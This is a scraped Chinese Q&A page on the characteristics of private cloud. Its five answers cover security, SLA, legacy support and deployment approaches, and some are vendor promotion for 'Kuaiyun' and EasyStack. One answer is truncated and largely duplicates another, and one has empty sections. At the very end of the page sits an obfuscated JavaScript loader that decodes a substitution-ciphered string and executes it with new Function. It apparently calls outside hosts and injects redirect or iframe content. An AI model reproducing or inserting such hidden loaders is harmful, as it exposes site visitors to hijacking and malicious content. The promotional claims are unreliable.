私有云都有哪些特点?

2025-02-16 16:11:39
推荐回答(5个)
回答1:

什么是私有云:

私有云是为一个客户单独使用而构建的,因而提供对数据、安全性和服务质量的最有效控制。该公司拥有基础设施,并可以控制在此基础设施上部署应用程序的方式。私有云可部署在企业数据中心的防火墙内,也可以将它们部署在一个安全的主机托管场所,私有云的核心特点是专有资源。

私有云特点:

  1. 数据安全:虽然每个公有云的提供商都对外宣称,其服务在各方面都是非常安全,特别是对数据的管理。但是对企业而言,特别是大型企业而言,和业务有关的数据是其的生命线,是不能受到任何形式的威胁,所以短期而言,大型企业是不会将其Mission-Critical的应用放到公有云上运行的。而私有云在这方面是非常有优势的,因为它一般都构筑在防火墙后。

  2. SLA(服务质量):因为私有云 一般在防火墙之后,而不是在某一个遥远的数据中心中,所以当公司员工访问那些基于私有云的应用时,它的SLA应该会非常稳定,不会受到网络不稳定的影响,导致大规模的断网。

  3. 充分利用现有软硬件资源:每个公司,特别大公司都会有很多legacy的应用,而且legacy大多都是其核心应用。虽然公有云的技术很先进,但却对legacy的应用支持不好,因为很多都是用静态语言编写的,以Cobol,C,C++和Java为主,而现有的公有云对这些语言支持很一般。但私有云在这方面就不错,能非常方便地构建基于Java的私有云。而且一些私有云的工具能够利用企业现有的硬件资源来构建云,这样将极大降低企业的花费。

  4. 不影响现有IT管理的流程:对大型企业而言,流程是其管理的核心,如果没有完善的流程,企业将会成为一盘散沙。不仅与业务有关的流程非常繁多,而且IT部门的流程也不少,并且这些流程对IT部门非常关键。在这方面,公有云很吃亏,因为假如使用公有云的话,将会对IT部门流程有很多的冲击,比如在数据管理方面和安全规定等方面。而在私有云,因为它一般在防火墙内的,所以对IT部门流程冲击不大。

回答2:

   什么是私有云?

随着云计算的行业和虚拟化技术的发展,可以为个别企业依照特定的使用场景,为其量身打造定制的云服务。可部署在企业数据中心的防火墙内,也可以将它们部署在第三方托管中心,让云平台在企业内部快速落地,提升IT系统价值。

    私有云特点

    

 

    私有云市场竞争情况

 

    

 

    快云私有云优势分析


1、平台优惠:

快云私有云平台是快云公有云平台的定制版,研发成本已由公有云分摊

2、与快云公有云完美配合:

全新架构快云平台自主研发 ,平台更为稳定、专业;计算、存储、网络资源按需、灵活分配。

3、平台更稳定:

公司自助研发的, 且已承载数万业务长期在线运行,而开源openstack小毛病不断, 社区频繁更新, 运维人员极其头疼。

4、平台更专业:

如网络使用VXLAN技术替代VLAN,存储使用Ceph3副本。

5、平台升级免费便捷:

可以一键升级到最新版本, 甚至可以无缝升级为混合云版本

6、平台服务无忧:

云咨询、云化评估、迁移规划全方位解决方案;专线400电话及企业QQ,三分钟故障受理无需等待,1对1大客户服务。

回答3:

新一代私有云并非私有云的一个新版本,相反,它通过软件定义硬件、软件和硬件解耦、软件可进化、硬件可升级的OTA(Over The Air)特色,通过可进化这一核心要点实现了私有云的无版本化永续生命周期,以及从IaaS到PaaS场景化的能力边界突破。
  新一代私有云产品是基于kubernetes的微服务架构,一体化的设计理念,帮助企业用户从最基础单元的3节点云就绪超融合到无上限的超大规模云平台实现了统一架构,在基于开源生态技术栈的同时,保持高度产品化体验,通过业务无感知,数据不迁移,服务不中断的平滑无感可进化方式,构建以数据为中心、面向多云的私有云平台。
  第一代私有云,严格意义上只能称作虚拟化+云管。企业客户基本没有新一代云应用,他们上云多是从虚拟化管理和降低成本出发,这样的项目限制了私有云的想象力,也让私有云市场备受质疑。
  第二代私有云,企业用户有新一代云应用需求,但在丰富程度和应用碎片化等体验上与公有云相比缺乏竞争力,商业模仍处于licence为主的软件时代,由于客户环境复杂存在大量定制化,部署和运维复杂,无法实现平滑升级。
  第一代和第二代私有云都属于传统私有云时代。用户将传统应用迁移至云架构的目的多出于降低成本和提高可管理性,虽然这也是云的部分价值,但云的增长驱动力未来来自新的企业级应用。传统私有云时代云项目受挫的主要原因,主要在于交付集成式“假云”:
  一方面,早期尝鲜的大型客户的私有云立项过于复杂、建设目的是管理出发而不是创新业务驱动;另一方面,以云管为中心的拼凑式产品线组合,交付周期长,交付结果不能体现云的灵活、简单、弹性和对接PaaS生态的可能性。
  平滑无感可进化是易捷行云EasyStack新一代私有云ECS企业云的核心能力,基于私有云平台的微服务化和一体化设计,从核心架构的最基础单元开始,具备技术栈的微服务化和一体化设计能力,在云的私有部署中实现了产品形态、支撑场景、服务能力的可进化。
  1.云平台产品形态的可进化:ECS 从最小规模3节点的全对称分布式微服务架构的超融合ECS Stack,可以平滑无感进化到控制、计算、存储分离的私有云形态ECS企业云标准版以及支撑多种场景的ECS企业云场景化版,并可通过EMS多云管理产品进一步进化到行业云和多云形态。
  2.云平台支撑场景的可进化:ECS企业云场景化版本可对商业存储、商业SDN、

回答4:

新一代私有云并非私有云的一个新版本,相反,它通过软件定义硬件、软件和硬件解耦、软件可进化、硬件可升级的OTA(Over The Air)特色,通过可进化这一核心要点实现了私有云的无版本化永续生命周期,以及从IaaS到PaaS场景化的能力边界突破。
  新一代私有云产品是基于kubernetes的微服务架构,一体化的设计理念,帮助企业用户从最基础单元的3节点云就绪超融合到无上限的超大规模云平台实现了统一架构,在基于开源生态技术栈的同时,保持高度产品化体验,通过业务无感知,数据不迁移,服务不中断的平滑无感可进化方式,构建以数据为中心、面向多云的私有云平台。
  平滑无感可进化是易捷行云EasyStack新一代私有云ECS企业云的核心能力,基于私有云平台的微服务化和一体化设计,从核心架构的最基础单元开始,具备技术栈的微服务化和一体化设计能力,在云的私有部署中实现了产品形态、支撑场景、服务能力的可进化。
  1.云平台产品形态的可进化:ECS 从最小规模3节点的全对称分布式微服务架构的超融合ECS Stack,可以平滑无感进化到控制、计算、存储分离的私有云形态ECS企业云标准版以及支撑多种场景的ECS企业云场景化版,并可通过EMS多云管理产品进一步进化到行业云和多云形态。
  2.云平台支撑场景的可进化:ECS企业云场景化版本可对商业存储、商业SDN、虚拟化纳管等需求实现产品化对接,也可实现从虚拟化到裸金属,从容器集群到软件基础设施的云平台能力平滑无感增强,还可不断进化出IOT、DevOps等新的企业级业务需求场景。
  3.云平台本身服务能力的可进化:ECS全系产品可以实现包括功能优化/增强、Bug修复、安全加固等全组件平滑无感升级,并可持续、快速、无缝引入新的云服务,满足企业客户业务的持续精益创新需求。

回答5:

私有云涉及的技术比较多,本文不会展开介绍,更直接的方式是从业务需求角度谈谈私有云的特点。

业务更“敏捷”

企业在传统的 IT 架构下,用户基于业务系统的资源需求,独立采购软件和硬件设备;一般需要经历:预算-测试-招标-采购-部署-应用上线等流程,整个过程复杂、耗时,很难做到业务快速上线的目标。企业用户对私有云的一个核心诉求是:资源可方便地进行交付,引入更多自动化功能帮助企业缩短业务系统的部署与发布流程,使企业在竞争中获得更大的优势。

业务更“稳定”

企业中有越来越多的业务系统被要求提供 7*24 的不间断服务,事实上,数据中心一直面临着各种风险和挑战,包括停电、网络故障、硬件故障等问题都有可能影响业务的可用性。特别在传统架构下,随着 IT 规模增大,数据中心引入了更多不同的设备以及技术,增大了运维的复杂性,使得企业的 IT 管理员经常上演“消防员”角色,即便是这样也难以达到“不间断”运行的目标。因此企业构建私有云另外一个重要诉求是:私有云应该具备更简单的运维,更高的容错性,甚至是一定程度的故障自愈功能;支持远程站点的灾备方案,甚至是本地与“多云”之间的容灾。

资源交付更具“弹性”

在传统架构中,基础架构资源往往是基于某个业务系统上线而建立,与业务系统有比较强的耦合关系,资源之间无法流动,容易造成资源孤岛以及资源利用率较低等问题。另外一个的问题来自于资源建设缺乏通盘的考虑,导致管理与扩展成本比较高。企业用户对私有云的另外一个期许是:改变原有将零散资源进行统一纳管的思路,建设统一资源池,实现更灵活的资源划分与交付;资源应具备“弹性伸缩”特性,可对资源进行生命周期管理,既可迅速扩展资源规模,也可以及时回收“闲置”资源进行重分配。

在国内,企业主要通过 3 大途径落地私有云:

  • 将AWS、Azure、阿里云等商业公有云方案全套落地到私有环境;

  • 使用类似 OpenStack、Ceph 等开源软件构建私有云;

  • 使用类似 VMware、SmartX、Nutanix 等虚拟化或超融合产品配合 CMP 组件等成熟的商业组件构建私有云。

一个有趣的现象是,由于 HCI 架构为私有云带来的诸多优势,方式 1、2 也都衍生了基于超融合架构的落地方案,以下逐一介绍3大主流企业级私有云落地方案,及其各自特点与优缺点。

公有云移植构建私有云

将公有云移植到企业数据中心,方案最大的优势是它来自于公有云成功经验,并经过长时间,大规模营运的考验,拥有比较全面的功能,以 AWS 为例展示其落地方案及架构。

AWS 以 EC2 (Elastic Compute)服务为核心提供虚拟计算能力,

S3(对象存储)和 EBS(块存储)等服务提供虚拟存储能力,由 VPC 等网络服务提供虚拟网络能力,以及包括其他安全及管理工具共同构建 IaaS 层。在 PaaS 层也有非常丰富的解决方案,在这里不再一一赘述。AWS 的私有云方案基本上就是按照 AWS 标准, 包括硬件、软件,甚至运营整体交付到企业用户数据中心里面,这类方案比较明显的特征是非常依赖公有云供应商的自有生态。

近几年,AWS、Azure 等公有云供应商,在落地私有云的基础架构方案时也推出了类似如 AWS Outpost、Azure Stack HCI 等超融合架构进行交付。

Azure Stack HCI Solution

这些方案的优势是可以在一家厂商获得从私有到公有云的统一方案和服务,但也存在诸如以下弊端:
1.产品封闭,例如Azure Stack HCI 只能支持Hyper-v虚拟平台,并且无法形成多云方案;
2.前期投入大且完全新建,对原有VMware等系统无法管理。

开源软件构建私有云

使用开源软件构建私有云,实际上利用多个开源软件分别完成 IaaS、PaaS等各层的构建。这种方案的重点依然在 IaaS 层构建之上,其中  OpenStack 是无疑是最热门的开源 IaaS 平台之一,以下是以 OpenStack 为中心构建私有云的架构图。

由于 OpenStack 本质上是一个 IaaS 的框架,需要结合其他的软件才能完成 IaaS 层的构建 ,通过下图展示 OpenStack 方案的组成。


通过上图可以看到 :

1.OpenStack 本身不直接提供服务虚拟化、存储、网络等功能。

2.OpenStack Nova 计算组件负责对接 Hypervisor 软件,如:KVM、VMware vSphere、XenServer 等,实际上由 Hypervisor 提供服务器虚拟化功能。

3. 存储方面可能选择的方案包括 SDS、传统集中式存储等。

目前,市场上同样出现了基于 Openstack、KVM、Ceph 等开源产品整合的超融合方案,基于开源的方案可以快速从社区获得最新的功能,但以超融合产品交付存在着诸多问题:
1.Openstack 架构复杂、大量模块在超融合中并不需要,商用程度差,且计算资源要求高;
2.基于开源的Ceph同样模块和代码复杂,服务商对产品核心问题无法有效支持,且Ceph对计算资源消耗高较高,IO密集型场景性能也表现欠佳;
3.此类超融合方案一般对VMWare都无法有效支持。
因此,此类方案实际上无法真正达到超融合产品简单、稳定、高效、开放等特点。

使用成熟的商用生态打造私有云

使用商用生态组件打造私有云,其优点是方案经过来自不同行业的实践验证、并且能获得来自厂商的持续的服务与支持。另外,基于这种模式用户可以采取逐步扩展与完善组件的策略来完成私有云的构建,通过这种模式实现私有云切换的代价是最小的。

在资源池的构建上方式上,以往 VMware vSpere 、FC 网络、FC SAN 存储传统三层式架构占据统治地位,但超融合方案正在越来越多地替换原有的架构。VMware、SmartX、等主流超融合厂商配合成熟的商用 CMP 产品都提供了诸多基于超融合架构的私有云案例。相比于以上两种方案,该落地方案具有独特的特点:

1.相比于公有云厂商以及全栈的私有云方案,该方案具备更好的开放性,更灵活轻量;

2. 相比于基于的开源产品,该方案稳定简单,具备真正“生产就绪“能力。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();